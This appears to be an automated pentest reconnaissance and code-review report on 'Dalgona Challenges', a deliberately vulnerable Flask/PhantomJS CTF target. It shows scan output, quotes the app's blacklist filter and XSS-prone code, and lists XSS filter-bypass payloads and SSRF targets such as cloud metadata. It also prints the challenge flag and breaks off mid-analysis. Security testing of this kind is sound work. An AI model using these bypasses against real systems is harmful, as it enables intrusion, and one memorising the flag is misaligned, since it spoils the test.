# Pre-Reconnaissance Report

## Port Discovery (naabu)
Status: Skipped
[object Object]

## Network Scanning (nmap)
Status: success
Starting Nmap 7.97 ( https://nmap.org ) at 2025-10-29 14:36 -0700
Nmap scan report for localhost (127.0.0.1)
Host is up (0.000030s latency).
Other addresses for localhost (not scanned): ::1
Not shown: 993 closed tcp ports (conn-refused)
PORT      STATE SERVICE         VERSION
80/tcp    open  http            Caddy httpd
|_http-title: Site doesn't have a title.
|_http-server-header: Caddy
443/tcp   open  ssl/https
|_http-title: Site doesn't have a title.
631/tcp   open  ipp             CUPS 2.3
| http-robots.txt: 1 disallowed entry 
|_/
|_http-title: Home - CUPS 2.3.4
|_http-server-header: CUPS/2.3 IPP/2.1
8000/tcp  open  http            Uvicorn
|_http-title: Login
|_http-server-header: uvicorn
8888/tcp  open  sun-answerbook?
9999/tcp  open  abyss?
| fingerprint-strings: 
|   DNSStatusRequestTCP, DNSVersionBindReqTCP, Help, JavaRMI, Kerberos, RPCCheck, SMBProgNeg, SSLSessionReq, TLSSessionReq, TerminalServerCookie: 
|     HTTP/1.1 400 Bad Request
|     Connection: close
|   FourOhFourRequest, GetRequest: 
|     HTTP/1.1 200 OK
|     Access-Control-Allow-Origin: *
|     Access-Control-Allow-Methods: GET, POST, OPTIONS
|     Access-Control-Allow-Headers: Content-Type
|     Content-Type: text/plain
|     Date: Wed, 29 Oct 2025 21:36:15 GMT
|     Connection: close
|   HTTPOptions: 
|     HTTP/1.1 200 OK
|     Access-Control-Allow-Origin: *
|     Access-Control-Allow-Methods: GET, POST, OPTIONS
|     Access-Control-Allow-Headers: Content-Type
|     Date: Wed, 29 Oct 2025 21:36:15 GMT
|     Connection: close
|   RTSPRequest: 
|     HTTP/1.1 200 OK
|     Access-Control-Allow-Origin: *
|     Access-Control-Allow-Methods: GET, POST, OPTIONS
|     Access-Control-Allow-Headers: Content-Type
|     Date: Wed, 29 Oct 2025 21:36:20 GMT
|_    Connection: close
49152/tcp open  http            Golang net/http server
| fingerprint-strings: 
|   FourOhFourRequest, GetRequest, HTTPOptions: 
|     HTTP/1.0 401 Unauthorized
|     Content-Security-Policy: default-src 'none'; frame-ancestors 'none'; script-src 'none'; script-src-elem 'none'; script-src-attr 'none'
|     Content-Type: text/plain; charset=utf-8
|     Tailscale-Cap: 115
|     Tailscale-Version: 1.82.5-tdec88625e-gec2eb9730
|     X-Content-Type-Options: nosniff
|     X-Frame-Options: DENY
|     Date: Wed, 29 Oct 2025 21:36:15 GMT
|     Content-Length: 14
|     auth required
|   GenericLines, Help, RTSPRequest: 
|     HTTP/1.1 400 Bad Request
|     Content-Type: text/plain; charset=utf-8
|     Connection: close
|_    Request
|_http-title: Site doesn't have a title (text/plain; charset=utf-8).
| http-auth: 
| HTTP/1.1 401 Unauthorized\x0D
|_  Server returned status 401 but no WWW-Authenticate header.
2 services unrecognized despite returning data. If you know the service/version, please submit the following fingerprints at https://nmap.org/cgi-bin/submit.cgi?new-service :
==============NEXT SERVICE FINGERPRINT (SUBMIT INDIVIDUALLY)==============
SF-Port9999-TCP:V=7.97%I=7%D=10/29%Time=690288CF%P=arm-apple-darwin24.4.0%
SF:r(GetRequest,E5,"HTTP/1\.1\x20200\x20OK\r\nAccess-Control-Allow-Origin:
SF:\x20\*\r\nAccess-Control-Allow-Methods:\x20GET,\x20POST,\x20OPTIONS\r\n
SF:Access-Control-Allow-Headers:\x20Content-Type\r\nContent-Type:\x20text/
SF:plain\r\nDate:\x20Wed,\x2029\x20Oct\x202025\x2021:36:15\x20GMT\r\nConne
SF:ction:\x20close\r\n\r\nOK")%r(HTTPOptions,C9,"HTTP/1\.1\x20200\x20OK\r\
SF:nAccess-Control-Allow-Origin:\x20\*\r\nAccess-Control-Allow-Methods:\x2
SF:0GET,\x20POST,\x20OPTIONS\r\nAccess-Control-Allow-Headers:\x20Content-T
SF:ype\r\nDate:\x20Wed,\x2029\x20Oct\x202025\x2021:36:15\x20GMT\r\nConnect
SF:ion:\x20close\r\n\r\n")%r(FourOhFourRequest,E5,"HTTP/1\.1\x20200\x20OK\
SF:r\nAccess-Control-Allow-Origin:\x20\*\r\nAccess-Control-Allow-Methods:\
SF:x20GET,\x20POST,\x20OPTIONS\r\nAccess-Control-Allow-Headers:\x20Content
SF:-Type\r\nContent-Type:\x20text/plain\r\nDate:\x20Wed,\x2029\x20Oct\x202
SF:025\x2021:36:15\x20GMT\r\nConnection:\x20close\r\n\r\nOK")%r(JavaRMI,2F
SF:,"HTTP/1\.1\x20400\x20Bad\x20Request\r\nConnection:\x20close\r\n\r\n")%
SF:r(RTSPRequest,C9,"HTTP/1\.1\x20200\x20OK\r\nAccess-Control-Allow-Origin
SF::\x20\*\r\nAccess-Control-Allow-Methods:\x20GET,\x20POST,\x20OPTIONS\r\
SF:nAccess-Control-Allow-Headers:\x20Content-Type\r\nDate:\x20Wed,\x2029\x
SF:20Oct\x202025\x2021:36:20\x20GMT\r\nConnection:\x20close\r\n\r\n")%r(RP
SF:CCheck,2F,"HTTP/1\.1\x20400\x20Bad\x20Request\r\nConnection:\x20close\r
SF:\n\r\n")%r(DNSVersionBindReqTCP,2F,"HTTP/1\.1\x20400\x20Bad\x20Request\
SF:r\nConnection:\x20close\r\n\r\n")%r(DNSStatusRequestTCP,2F,"HTTP/1\.1\x
SF:20400\x20Bad\x20Request\r\nConnection:\x20close\r\n\r\n")%r(Help,2F,"HT
SF:TP/1\.1\x20400\x20Bad\x20Request\r\nConnection:\x20close\r\n\r\n")%r(SS
SF:LSessionReq,2F,"HTTP/1\.1\x20400\x20Bad\x20Request\r\nConnection:\x20cl
SF:ose\r\n\r\n")%r(TerminalServerCookie,2F,"HTTP/1\.1\x20400\x20Bad\x20Req
SF:uest\r\nConnection:\x20close\r\n\r\n")%r(TLSSessionReq,2F,"HTTP/1\.1\x2
SF:0400\x20Bad\x20Request\r\nConnection:\x20close\r\n\r\n")%r(Kerberos,2F,
SF:"HTTP/1\.1\x20400\x20Bad\x20Request\r\nConnection:\x20close\r\n\r\n")%r
SF:(SMBProgNeg,2F,"HTTP/1\.1\x20400\x20Bad\x20Request\r\nConnection:\x20cl
SF:ose\r\n\r\n");
==============NEXT SERVICE FINGERPRINT (SUBMIT INDIVIDUALLY)==============
SF-Port49152-TCP:V=7.97%I=7%D=10/29%Time=690288CF%P=arm-apple-darwin24.4.0
SF:%r(FourOhFourRequest,192,"HTTP/1\.0\x20401\x20Unauthorized\r\nContent-S
SF:ecurity-Policy:\x20default-src\x20'none';\x20frame-ancestors\x20'none';
SF:\x20script-src\x20'none';\x20script-src-elem\x20'none';\x20script-src-a
SF:ttr\x20'none'\r\nContent-Type:\x20text/plain;\x20charset=utf-8\r\nTails
SF:cale-Cap:\x20115\r\nTailscale-Version:\x201\.82\.5-tdec88625e-gec2eb973
SF:0\r\nX-Content-Type-Options:\x20nosniff\r\nX-Frame-Options:\x20DENY\r\n
SF:Date:\x20Wed,\x2029\x20Oct\x202025\x2021:36:15\x20GMT\r\nContent-Length
SF::\x2014\r\n\r\nauth\x20required\n")%r(GenericLines,67,"HTTP/1\.1\x20400
SF:\x20Bad\x20Request\r\nContent-Type:\x20text/plain;\x20charset=utf-8\r\n
SF:Connection:\x20close\r\n\r\n400\x20Bad\x20Request")%r(GetRequest,192,"H
SF:TTP/1\.0\x20401\x20Unauthorized\r\nContent-Security-Policy:\x20default-
SF:src\x20'none';\x20frame-ancestors\x20'none';\x20script-src\x20'none';\x
SF:20script-src-elem\x20'none';\x20script-src-attr\x20'none'\r\nContent-Ty
SF:pe:\x20text/plain;\x20charset=utf-8\r\nTailscale-Cap:\x20115\r\nTailsca
SF:le-Version:\x201\.82\.5-tdec88625e-gec2eb9730\r\nX-Content-Type-Options
SF::\x20nosniff\r\nX-Frame-Options:\x20DENY\r\nDate:\x20Wed,\x2029\x20Oct\
SF:x202025\x2021:36:15\x20GMT\r\nContent-Length:\x2014\r\n\r\nauth\x20requ
SF:ired\n")%r(HTTPOptions,192,"HTTP/1\.0\x20401\x20Unauthorized\r\nContent
SF:-Security-Policy:\x20default-src\x20'none';\x20frame-ancestors\x20'none
SF:';\x20script-src\x20'none';\x20script-src-elem\x20'none';\x20script-src
SF:-attr\x20'none'\r\nContent-Type:\x20text/plain;\x20charset=utf-8\r\nTai
SF:lscale-Cap:\x20115\r\nTailscale-Version:\x201\.82\.5-tdec88625e-gec2eb9
SF:730\r\nX-Content-Type-Options:\x20nosniff\r\nX-Frame-Options:\x20DENY\r
SF:\nDate:\x20Wed,\x2029\x20Oct\x202025\x2021:36:15\x20GMT\r\nContent-Leng
SF:th:\x2014\r\n\r\nauth\x20required\n")%r(RTSPRequest,67,"HTTP/1\.1\x2040
SF:0\x20Bad\x20Request\r\nContent-Type:\x20text/plain;\x20charset=utf-8\r\
SF:nConnection:\x20close\r\n\r\n400\x20Bad\x20Request")%r(Help,67,"HTTP/1\
SF:.1\x20400\x20Bad\x20Request\r\nContent-Type:\x20text/plain;\x20charset=
SF:utf-8\r\nConnection:\x20close\r\n\r\n400\x20Bad\x20Request");

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 87.42 seconds


## Subdomain Discovery (subfinder)
Status: success
www.localhost
server02.counterintel.localhost
mail02.regency.localhost
sbs.allsaintsschool.localhost
exchvm.nwcnet.localhost
fndlync01.5ninesdata.localhost
autodiscover.localhost
mail.regency.localhost
naeu2.naeuinc.localhost
autodiscover.regency.localhost
mail03.regency.localhost
owa.regency.localhost
tools.sonoma.edu.localhost
mail.localhost
mse-ca-mail.corp.mse.localhost
server2.hunter.localhost


## Technology Detection (whatweb)
Status: success
[1m[34mhttp://localhost:39453[0m [200 OK] [1mHTTPServer[0m[[1m[36mWerkzeug/1.0.1 Python/2.7.18[0m], [1mIP[0m[[0m[22m::1[0m], [1mPython[0m[[1m[32m2.7.18[0m], [1mTitle[0m[[1m[33mDalgona Challenges[0m], [1mWerkzeug[0m[[1m[32m1.0.1[0m]

## Code Analysis
# Penetration Test Scope & Boundaries

**Primary Directive:** This analysis is strictly limited to the **network-accessible attack surface** of the application. All findings in this report meet the "In-Scope" criteria defined below.

### In-Scope: Network-Reachable Components
A component is considered **in-scope** if its execution can be initiated, directly or indirectly, by a network request that the deployed application server is capable of receiving. This includes:
- Publicly exposed web pages and API endpoints.
- Endpoints requiring authentication via the application's standard login mechanisms.
- Any developer utility, debug console, or script that has been mistakenly exposed through a route or is otherwise callable from other in-scope, network-reachable code.

### Out-of-Scope: Locally Executable Only
A component is **out-of-scope** if it **cannot** be invoked through the running application's network interface and requires an execution context completely external to the application's request-response cycle. This includes tools that must be run via:
- A command-line interface (e.g., `go run ./cmd/...`, `python scripts/...`).
- A development environment's internal tooling (e.g., a "run script" button in an IDE).
- CI/CD pipeline scripts or build tools (e.g., Dagger build definitions).
- Database migration scripts, backup tools, or maintenance utilities.
- Local development servers, test harnesses, or debugging utilities.
- Static files or scripts that require manual opening in a browser (not served by the application).

---

## 1. Executive Summary

XBEN-059-24 "Dalgona Challenges" is an intentionally vulnerable Flask web application designed for security training and CTF (Capture The Flag) competitions. The application presents a **severely compromised security posture** with critical vulnerabilities across multiple attack vectors. Running on an end-of-life technology stack (Python 2.7.18, Flask 1.1.4, and abandoned PhantomJS 2.1.1), the application lacks fundamental security controls and exposes attackers to multiple high-severity exploitation paths.

The application's primary attack surface centers around a deliberately insecure XSS challenge endpoint (`/page`) that accepts user input via a GET parameter with minimal filtering. This endpoint demonstrates textbook examples of reflected cross-site scripting, server-side request forgery through PhantomJS, and improper input validation. Beyond the intentional vulnerabilities, the application exhibits critical security failures including debug mode enabled in production, secrets committed to version control, complete absence of authentication/authorization mechanisms, and no encryption for data in transit or at rest.

From an external attacker's perspective with no privileged access, this application is **trivially exploitable**. The combination of weak input validation (single-word blacklist), unsafe JavaScript context rendering, and PhantomJS-based SSRF creates a direct path to flag extraction, internal network reconnaissance, and potential cloud metadata compromise. The application's security score of 2/10 reflects its fundamental unsuitability for production deployment without comprehensive security remediation.

---

## 2. Architecture & Technology Stack

### Framework & Language

**Core Technology:**
- **Python 2.7.18** (End-of-Life: January 1, 2020) - **CRITICAL RISK**
- **Flask 1.1.4** (Released ~2021, outdated) - **HIGH RISK**
- **Werkzeug 1.0.1** - WSGI utility library (outdated)
- **Jinja2 2.11.3** - Template engine (not actively used for rendering)

**Security Implications:** Python 2.7 has been unsupported for over 4 years with no security patches for known vulnerabilities. The entire dependency chain (Flask, Werkzeug, Jinja2) is also outdated, exposing the application to publicly disclosed CVEs. Any vulnerability discovered in these components cannot be patched, making this a **permanent security liability**. The base Docker image (`python:2.7.18-slim`) uses Debian Buster archives which reached end-of-life in 2022, meaning the operating system layer also receives no security updates.

The application uses Flask's development server (`app.run(debug=True)`) which is explicitly documented as unsuitable for production. The debug mode enables the Werkzeug interactive debugger, exposing a Python console that can be accessed via a PIN (often predictable or brute-forceable). This provides **direct code execution** capabilities to attackers who can trigger exceptions.

### Browser Automation Layer

**PhantomJS 2.1.1** (Abandoned: March 2018) - **CRITICAL RISK**

PhantomJS is a deprecated headless WebKit browser that stopped receiving security updates in 2018. The project maintainer explicitly recommended migrating to modern alternatives (Puppeteer, Playwright). The application uses PhantomJS to validate XSS exploitation by loading user-generated HTML and detecting JavaScript dialog invocations (alert/confirm/prompt). This creates a **double vulnerability**: both XSS in the primary application and potential SSRF through PhantomJS's network capabilities.

The PhantomJS integration creates a subprocess execution flow where user input influences HTML content loaded by the headless browser. While the URL passed to PhantomJS is hardcoded to `localhost:5000`, the JavaScript within that HTML can make arbitrary network requests, creating an SSRF vector that bypasses traditional server-side request protections.

### Architectural Pattern

**Pattern:** Monolithic Single-Container Web Application

**Trust Boundaries:**
1. **External → Flask Application** (Public Internet → Port 5000)
   - Minimal input validation (single-word blacklist)
   - No authentication required
   - No rate limiting or WAF protection
   
2. **Flask Application → PhantomJS Subprocess** (Python → Headless Browser)
   - User-controlled HTML passed via temporary files
   - No content sanitization or CSP enforcement
   - PhantomJS executes JavaScript with network access
   
3. **PhantomJS → Localhost Services** (Headless Browser → Internal Network)
   - Can access localhost:5000 endpoints
   - Can potentially access internal container networking (172.17.0.0/16)
   - Can access cloud metadata endpoints (169.254.169.254)
   
4. **Docker Container → Host System** (Container → Host OS)
   - Container runs as root user (no privilege dropping)
   - No resource limits (memory, CPU, PIDs)
   - No capability restrictions (--cap-drop)

**Data Flow:** User Input → Flask Route Handler → Blacklist Filter → JavaScript Template Injection → Temporary HTML File (static/ directory) → PhantomJS Subprocess → JavaScript Execution → XSS Detection → Flag Retrieval/Error Response

### Critical Security Components

**❌ MISSING COMPONENTS:**
- No authentication system (no user management, sessions, or tokens)
- No authorization framework (no RBAC, ABAC, or permission system)
- No TLS/HTTPS configuration (plaintext HTTP only)
- No database or persistent storage (stateless application)
- No WAF or input validation framework
- No CSRF protection mechanisms
- No rate limiting or DDoS protection
- No comprehensive security headers (only X-Content-Type-Options on one endpoint)

**⚠️ WEAK IMPLEMENTATIONS:**
- Input Filtering: Single-word blacklist blocking only "import" keyword (trivially bypassable)
- Output Encoding: `cgi.escape()` applied only to PhantomJS output, not user input in JavaScript context
- Security Headers: Only `X-Content-Type-Options: nosniff` header present (line 82 of app.py)
- Subprocess Execution: Properly uses argument list (not vulnerable to command injection)
- Temporary File Management: Secure random filenames with cleanup in finally block

**✓ MINIMAL PROTECTIONS:**
- Subprocess timeout (5 seconds) prevents infinite PhantomJS hangs
- No `shell=True` in subprocess.Popen (prevents shell injection)
- Temporary file cleanup with finally block (prevents file accumulation)
- Flask's built-in path traversal protections for static file serving

### Deployment Configuration

**Docker Environment:**
- **Base Image:** `python:2.7.18-slim` (Debian Buster - EOL)
- **Exposed Port:** 5000 (mapped dynamically, currently 39453 on host)
- **Working Directory:** `/python-docker`
- **User Context:** Root (no privilege de-escalation)
- **Environment Variables:**
  - `QT_QPA_PLATFORM=offscreen` - Enables headless Qt rendering for PhantomJS
  - `OPENSSL_CONF=/dev/null` - **CRITICAL:** Disables OpenSSL configuration, potentially weakening TLS

**Security Issues in Build Process:**
- Secrets injected at build time (`ARG FLAG` → `sed` replacement in `secret.txt`)
- Flag permanently embedded in Docker image layers (readable via `docker history`)
- Debian package sources use archived repositories (no security updates)
- No security scanning in CI/CD pipeline
- No resource limits defined in docker-compose.yml

---

## 3. Authentication & Authorization Deep Dive

### Authentication Mechanisms

**Status:** ❌ **COMPLETE ABSENCE - CRITICAL SECURITY GAP**

This application implements **zero authentication mechanisms**. There are no authentication libraries, no login/logout endpoints, no user management systems, no credential handling, and no session management. All endpoints are publicly accessible without any form of identity verification.

**Exhaustive Authentication Endpoint Analysis:**
- **Login Endpoint:** Does not exist
- **Logout Endpoint:** Does not exist  
- **Registration Endpoint:** Does not exist
- **Password Reset Endpoint:** Does not exist
- **Token Refresh Endpoint:** Does not exist
- **MFA/2FA Endpoints:** Do not exist
- **OAuth/SSO Callbacks:** Do not exist

**Technical Evidence:**
- File: `/Users/arjunmalleswaran/Code/pentest-workspaces/XBEN-059-24/src/app.py`
- Lines 1-87: No authentication library imports (no Flask-Login, Flask-Security, Authlib, PyJWT)
- Lines 29-83: All route handlers lack authentication decorators or checks
- File: `/Users/arjunmalleswaran/Code/pentest-workspaces/XBEN-059-24/src/requirements.txt`
- Dependencies: Only Flask 1.1.4 and phantomjs 2.1.1 (no auth libraries)

**Security Implications:**
This architectural decision means the application cannot distinguish between users, track sessions, or enforce access controls. Any external attacker can access all functionality including the XSS challenge endpoint and flag retrieval mechanism. For a CTF training application this is intentional, but it represents the most fundamental security control failure for any production system.

### Session Management

**Status:** ❌ **COMPLETE ABSENCE - CRITICAL SECURITY GAP**

The application is entirely stateless with no session management infrastructure. Flask's session object is never imported or used, no session cookies are configured, and no session storage backend (Redis, database, or file-based) exists.

**Session Cookie Configuration Analysis:**

**Location of Session Cookie Settings:** N/A - No session cookies exist

The application does not configure Flask's `SECRET_KEY`, which is required for secure session cookie signing. Line 25 of `/Users/arjunmalleswaran/Code/pentest-workspaces/XBEN-059-24/src/app.py` only sets `app.config['PROPAGATE_EXCEPTIONS'] = True`, with no other configuration.

**Session Cookie Flags Analysis:**
- ❌ **HttpOnly Flag:** Not configured (no sessions exist)
  - **Impact:** If sessions were implemented, cookies would be accessible to JavaScript (XSS risk)
- ❌ **Secure Flag:** Not configured (no sessions exist)
  - **Impact:** If sessions were implemented on HTTPS, cookies could leak over HTTP
- ❌ **SameSite Flag:** Not configured (no sessions exist)
  - **Impact:** If sessions were implemented, CSRF attacks would be uninhibited

**Code Evidence:**
- File: `/Users/arjunmalleswaran/Code/pentest-workspaces/XBEN-059-24/src/app.py`
- Line 3: Imports only `Flask, request, Response, make_response, url_for` (no `session` import)
- Line 25: Only configuration is `app.config['PROPAGATE_EXCEPTIONS'] = True`
- Lines 29-83: No session reads or writes in any route handler

**Security Implications:**
Without session management, the application cannot maintain user state, track authenticated users, or implement CSRF protections. Session fixation and session hijacking are not concerns because sessions don't exist. However, this means any future security enhancements requiring user tracking would need complete architectural redesign.

### Authorization Model

**Status:** ❌ **COMPLETE ABSENCE - CRITICAL SECURITY GAP**

The application implements no authorization controls whatsoever. There is no Role-Based Access Control (RBAC), no Attribute-Based Access Control (ABAC), no permission checking, and no privilege levels.

**Authorization Checkpoint Analysis:**

**Endpoints and Access Controls:**

1. **`GET /`** - Index page
   - **File:** `/Users/arjunmalleswaran/Code/pentest-workspaces/XBEN-059-24/src/app.py:29-31`
   - **Handler:** `index()`
   - **Authentication Required:** No
   - **Authorization Checks:** None
   - **Accessible By:** Anonymous users (entire internet)

2. **`GET /page`** - XSS challenge endpoint
   - **File:** `/Users/arjunmalleswaran/Code/pentest-workspaces/XBEN-059-24/src/app.py:66-83`
   - **Handler:** `page_handler()`
   - **Authentication Required:** No
   - **Authorization Checks:** None
   - **Accessible By:** Anonymous users (entire internet)
   - **Sensitive Operations:** Flag retrieval on successful XSS exploitation

3. **`GET /static/<path:filename>`** - Static file serving
   - **Handler:** Flask built-in static file serving
   - **Authentication Required:** No
   - **Authorization Checks:** None
   - **Accessible By:** Anonymous users (entire internet)

**Multi-Tenancy Security:**

This is a **single-tenant application** with no user isolation, tenant separation, or data partitioning. The concept of multi-tenancy is not applicable. There is one shared flag for all users accessing the application.

**Privilege Escalation Analysis:**

Privilege escalation vulnerabilities are not applicable because there are no privileges to escalate. All users (anonymous external attackers) have complete access to all functionality by default.

### SSO/OAuth/OIDC Flows

**Status:** ✅ **NOT APPLICABLE**

The application does not implement Single Sign-On (SSO), OAuth, or OpenID Connect (OIDC) authentication flows. There are no callback endpoints, no state parameter validation, no nonce parameter validation, and no token exchange mechanisms.

**Technical Evidence:**
- No OAuth/OIDC libraries in requirements.txt
- No callback route handlers in app.py
- No state/nonce parameter handling code
- No JWT token validation logic

---

## 4. Data Security & Storage

### Database Security

**Status:** ✅ **NO DATABASE DETECTED**

This application does not use any database system. There is no PostgreSQL, MySQL, SQLite, MongoDB, or any other database management system integrated into the application.

**Technical Evidence:**
- File: `/Users/arjunmalleswaran/Code/pentest-workspaces/XBEN-059-24/src/requirements.txt`
  - No database drivers (no psycopg2, pymysql, sqlite3, pymongo, SQLAlchemy)
- File: `/Users/arjunmalleswaran/Code/pentest-workspaces/XBEN-059-24/src/app.py`
  - No database imports or connection code
  - No ORM usage or query construction
  - No database configuration

**Security Implications:**
- ✅ No SQL injection vulnerabilities possible
- ✅ No database credential exposure risk
- ✅ No data breach via database compromise
- ✅ No query logging or sensitive data in database logs
- ⚠️ No persistent storage means no audit trail or forensic capability

### Data Flow Security: Flag (Sensitive Secret)

**Sensitive Data Classification:**
The application handles one critical secret: the CTF flag `flag{9d55bbc2-90fa-40d4-89cd-c6c7a57915eb}`.

**Complete Data Flow Analysis:**

**1. Flag Entry Points (Storage):**

- **Environment Variable:** `.env` file (committed to version control)
  - **File:** `/Users/arjunmalleswaran/Code/pentest-workspaces/XBEN-059-24/.env:1`
  - **Content:** `FLAG="flag{9d55bbc2-90fa-40d4-89cd-c6c7a57915eb}"`
  - **Security:** ❌ **CRITICAL** - Secret committed to git repository, permanently in history
  - **Permissions:** Readable by repository users

- **Build-Time Injection:** Dockerfile ARG → sed replacement
  - **File:** `/Users/arjunmalleswaran/Code/pentest-workspaces/XBEN-059-24/src/Dockerfile:23-25`
  - **Mechanism:** `ARG FLAG` passed to build → `RUN sed -i s/@FLAG@/$FLAG/g secret.txt`
  - **Security:** ❌ **CRITICAL** - Flag embedded in Docker image layers (extractable via `docker history`)

- **Plaintext File Storage:** secret.txt
  - **Template:** `/Users/arjunmalleswaran/Code/pentest-workspaces/XBEN-059-24/src/secret.txt` (contains placeholder `@FLAG@`)
  - **Runtime:** `/python-docker/secret.txt` in container
  - **Permissions:** 644 (world-readable)
  - **Security:** ❌ **CRITICAL** - No encryption, no access controls, readable by any process

**2. Flag Loading (Application Startup):**

- **File:** `/Users/arjunmalleswaran/Code/pentest-workspaces/XBEN-059-24/src/app.py:22`
- **Code:** `flags = open('secret.txt').read().split()`
- **Mechanism:** Reads entire file, splits on whitespace, stores in global variable `flags`
- **Memory Protection:** ❌ None - Flag stored in plaintext in process memory
- **Security:** ❌ Flag accessible via memory dump or process inspection

**3. Flag Transmission (Network Exposure):**

- **File:** `/Users/arjunmalleswaran/Code/pentest-workspaces/XBEN-059-24/src/app.py:56`
- **Trigger:** Successful XSS exploitation detected by PhantomJS
- **Code:** `return PAGE_CONTENT.format(..., flags[0], ...)`
- **Protocol:** ❌ HTTP (no TLS/HTTPS) - Flag transmitted in cleartext
- **Security:** ❌ **CRITICAL** - Flag sniffable via network interception (MITM attacks)
- **Caching:** ⚠️ No Cache-Control headers - Flag may be cached by proxies/browsers

**4. Flag Logging (Information Disclosure):**

- **Application Logging:** 
  - Line 68-69: `print "msg: " + msg` - Logs user input (not the flag directly)
  - No explicit flag logging detected
  - **Risk:** ⚠️ Flag appears in HTTP response body (may be logged by proxies, load balancers, or monitoring tools)

- **Container Logging:**
  - Docker captures stdout/stderr
  - Flag could appear in container logs if response bodies are logged
  - **Risk:** ⚠️ Log retention policies unknown (flag may persist in logs)

**5. Flag Access Controls:**

- **Authentication:** ❌ None - No login required to access endpoint
- **Authorization:** ❌ None - No permission checks
- **Rate Limiting:** ❌ None - Unlimited exploitation attempts
- **IP Restrictions:** ❌ None - Accessible from any IP address

**Data Protection Summary:**
- ❌ **Encryption at Rest:** None (plaintext file storage)
- ❌ **Encryption in Transit:** None (HTTP only, no TLS)
- ❌ **Access Controls:** None (world-readable file, public endpoint)
- ❌ **Key Management:** Not applicable (no encryption keys)
- ❌ **Data Sanitization:** Flag not sanitized from logs/responses
- ❌ **Secrets Rotation:** No rotation mechanism or capability

### Multi-Tenant Data Isolation

**Status:** ✅ **NOT APPLICABLE - SINGLE-TENANT APPLICATION**

This application is single-tenant by design. There is no concept of multiple tenants, organizations, or isolated user groups. All users share access to the same flag and application state. Data isolation is not relevant because there is no data segregation.

### Encryption & Cryptography

**At Rest:**
- ❌ **No encryption** - Flag stored in plaintext `secret.txt` file
- ❌ **No disk encryption** - Container filesystem unencrypted
- ❌ **No database encryption** - No database exists

**In Transit:**
- ❌ **No TLS/HTTPS** - Application uses HTTP only on port 5000
- ❌ **No certificate configuration** - No SSL/TLS certificates
- ❌ **Application security:** Flag and all data transmitted in cleartext over network

**Configuration Analysis:**
- **File:** `/Users/arjunmalleswaran/Code/pentest-workspaces/XBEN-059-24/src/Dockerfile:10`
- **Code:** `ENV OPENSSL_CONF=/dev/null`
- **Impact:** ❌ **CRITICAL** - Disables OpenSSL configuration, potentially weakening cryptographic operations

**Cryptographic Library Usage:**
- **os.urandom(16):** Used for secure random filename generation (line 35 of app.py)
  - ✅ Cryptographically secure random number generator
  - ✅ 128-bit entropy (sufficient for temporary filenames)
- **No password hashing:** No bcrypt, scrypt, or Argon2 usage (no authentication system)
- **No token signing:** No HMAC or JWT implementations (no session system)
- **No data encryption:** No AES, RSA, or other encryption algorithms used

**Overall Cryptography Assessment:** ❌ **CRITICAL FAILURE** - Application has essentially no cryptographic protections for sensitive data.

---

## 5. Attack Surface Analysis

### External Entry Points

**Total Network-Accessible Endpoints:** 3

#### Entry Point 1: Index Page (`GET /`)

**Route Details:**
- **Method:** GET
- **Path:** `/`
- **File Location:** `/Users/arjunmalleswaran/Code/pentest-workspaces/XBEN-059-24/src/app.py:29-31`
- **Handler Function:** `index()`
- **Authentication Required:** No
- **Authorization Required:** No

**Functionality:**
Returns static HTML landing page with links to XSS challenges. Content defined in `INDEX_CONTENT` constant from `constants.py`.

**Input Parameters:** None

**Input Validation:** Not applicable (no user input)

**Security Assessment:**
- ✅ **Low Risk** - Static content with no dynamic behavior
- ✅ No user input processing
- ✅ No dangerous sinks or operations
- ⚠️ Contains links to vulnerable `/page` endpoint

**Attack Vectors:** None identified (purely informational page)

---

#### Entry Point 2: XSS Challenge Page (`GET /page`) - **PRIMARY ATTACK SURFACE**

**Route Details:**
- **Method:** GET
- **Path:** `/page`
- **File Location:** `/Users/arjunmalleswaran/Code/pentest-workspaces/XBEN-059-24/src/app.py:66-83`
- **Handler Function:** `page_handler()`
- **Authentication Required:** No
- **Authorization Required:** No

**Functionality:**
Accepts user input via `name` query parameter, applies minimal blacklist filtering, embeds input into JavaScript context, creates temporary HTML file, validates XSS exploitation via PhantomJS, and returns flag on successful exploitation.

**Input Parameters:**
- **Parameter:** `name` (query parameter)
- **Source:** `request.args.get('name','')`
- **Location:** Line 68
- **Default Value:** Empty string
- **Type:** String (unrestricted length)
- **Purpose:** User's "name" to be greeted (XSS challenge input)

**Input Validation Mechanisms:**

**Blacklist Filter (Lines 69-75):**
```python
blacklist = ['import']
for word in blacklist:
    if word in msg.lower():
        error_msg = """<div class="solution-text">Sorry you can't use: '%s'</div>""" % word
        return PAGE_CONTENT.format("6","Circle",value,"",error_msg)
```

**Filter Characteristics:**
- ❌ **Single-word blacklist** - Only blocks the word "import" (case-insensitive)
- ❌ **Easily bypassable** - Does not block quotes, semicolons, script tags, or JavaScript functions
- ❌ **No length limits** - Unlimited input size accepted
- ❌ **No encoding/escaping** - User input passed through unchanged after filter

**Bypass Techniques:**
1. **JavaScript string escape:** `"; alert(1); //` (bypasses "import" filter)
2. **Event handlers:** `" onload="alert(1)` (no HTML tag filtering)
3. **Encoding:** `\u0069mport` (Unicode bypass) or `imp\x6frt` (hex escape)
4. **Alternative sinks:** `eval()`, `Function()`, `setTimeout()` (not filtered)

**XSS Vulnerability (Lines 77-78):**
```python
script_content = """<div class="solution-text"><script> var name = "%s"; document.write('Hello ' + name); </script></div>""" % msg
value = check_input(script_content)
```

**Vulnerability Characteristics:**
- ❌ **Direct string interpolation** into JavaScript context
- ❌ **No output encoding** - User input inserted raw into `var name = "%s"`
- ❌ **Double context** - JavaScript string → document.write() → HTML
- ❌ **No CSP** - No Content-Security-Policy to block inline scripts

**PhantomJS Validation Flow (Lines 33-61 - `check_input()` function):**

1. **Temporary File Creation** (Lines 35-36):
   - Generates random filename: `fn = "static/" + os.urandom(16).encode('hex') + '.html'`
   - Creates URL: `url = 'http://localhost:5000/' + fn`

2. **File Writing** (Lines 38-40):
   - Opens file: `of = open(fn, 'w')`
   - Writes HTML: `of.write(page)` (page contains user-controlled JavaScript)
   - Closes file: `of.close()`

3. **PhantomJS Execution** (Line 34):
   ```python
   proc = subprocess.Popen(["timeout","5","phantomjs", "check.js"], 
                           stdout=subprocess.PIPE, stdin=subprocess.PIPE)
   ```
   - **Timeout:** 5 seconds maximum
   - **Shell:** `shell=False` (secure - not vulnerable to command injection)
   - **Input:** URL passed via stdin (line 43)

4. **XSS Detection** (Lines 45-61):
   - PhantomJS loads HTML and executes JavaScript
